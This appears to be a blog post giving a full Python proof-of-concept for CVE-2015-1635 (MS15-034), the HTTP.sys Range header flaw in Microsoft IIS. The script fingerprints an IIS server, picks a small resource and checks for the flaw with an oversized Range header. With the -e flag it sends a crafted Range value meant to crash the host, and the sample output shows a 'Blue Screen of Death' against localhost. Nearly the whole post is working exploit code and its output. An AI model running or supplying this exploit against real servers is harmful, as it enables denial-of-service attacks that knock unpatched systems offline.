# CVE-2015-1635: Check and exploit MS15-034


# cat cve-2015-1635.py
#!/usr/bin/env python


"""cve-2015-1635.py: DoS PoC"""


import argparse, BeautifulSoup, re, requests, socket, sys, urlparse


__author__  = 't0n1'
__credits__ = 'sha0'


LOW  = '2'
HIGH = '18446744073709551615'
UA   = 'Mozilla/5.0'
TOUT = 3
MAX  = 262144


s = requests.Session()


def parse_url(url):
 url = urlparse.urljoin(URL, url)
 parsed = urlparse.urlparse(url)
 return parsed.scheme + '://' + parsed.netloc + parsed.path


def get_content_length(url):
 h = {
  'User-agent': UA,
 }
 r = s.head(url, headers = h, verify = False)
 return int(r.headers['content-length'])
  

def get_resource(html):
 parsed = urlparse.urlparse(URL)
 urllist = []
 soup = BeautifulSoup.BeautifulSoup(html)
 for img in soup.findAll('img', src = True):
  urllist.append(parse_url(img['src']))
 for link in soup.findAll('a', href = True):
  urllist.append(parse_url(link['href']))
 for url in urllist:
  if parsed.netloc not in url:
   continue
  cl = get_content_length(url)
  if 0 < cl and cl <= MAX:
   print '[+] New URL = ' + url + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
   return url
 cl = get_content_length(URL)
 print '[+] Same URL = ' + URL + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
 return URL


def check_iis():
 global URL
 h = {
  'User-agent': UA,
 }
 r = s.get(URL, headers = h, verify = False)
 print '[+] URL = ' + URL
 if 'server' in r.headers.keys():
  server = r.headers['server']
  if 'iis' in server.lower():
   print '[+] Server HTTP Header = ' + server
   if r.status_code == 200:
    print '[+] Status Code = 200'
    URL = get_resource(r.text)
    return True
   else:
    print '[-] Status Code = ' + str(r.status_code)
    return False
  else:
   print '[-] Server HTTP Header = ' + server
   return False
 else:
  print '[-] Not Server HTTP Header'
  return False


def check_vulnerable():
 h = {
  'User-agent': UA,
  'Range': 'bytes=0-' + HIGH
 }
 r = s.get(URL, headers = h, verify = False)
 if r.status_code == 416:
  print '[+] >>>>>>>>>> Vulnerable | Status Code = 416'
  return True
 elif r.status_code == 400:
  print '[-] Not vulnerable | Status Code = 400 | Patched?'
  return False
 else:
  print '[-] Not vulnerable | Status Code = ' + str(r.status_code)
  return False


def exploit():
 h = {
  'User-agent': UA,
  'Range': 'bytes=' + LOW + '-' + HIGH
 }
 try:
  r = s.get(URL, headers = h, timeout = TOUT, verify = False)
  if r.status_code == 206:
   print '[-] Not vulnerable | Status Code = 206 | Kernel cache disabled?'
 except requests.exceptions.ConnectionError:
  pass
 except requests.exceptions.Timeout:
  print '[+] Blue Screen of Death! Game Over!'


parser = argparse.ArgumentParser()
parser.add_argument('-u', dest = 'url', help = 'Target', required = True)
parser.add_argument('-e', dest = 'exploit', action = 'store_true', help = 'Exploit', required = False)


args = parser.parse_args()
URL = args.url


if check_iis():
 if check_vulnerable():
  if args.exploit == True:
   exploit()

# ./cve-2015-1635.py -h
usage: cve-2015-1635.py [-h] -u URL [-e]

optional arguments:
  -h, --help  show this help message and exit
  -u URL      Target
  -e          Exploit

# ./cve-2015-1635.py -u http://127.0.0.1:8080
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416

# ./cve-2015-1635.py -u http://127.0.0.1:8080 -e
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416
[+] Blue Screen of Death! Game Over!


References

https://technet.microsoft.com/library/security/ms15-034

No comments: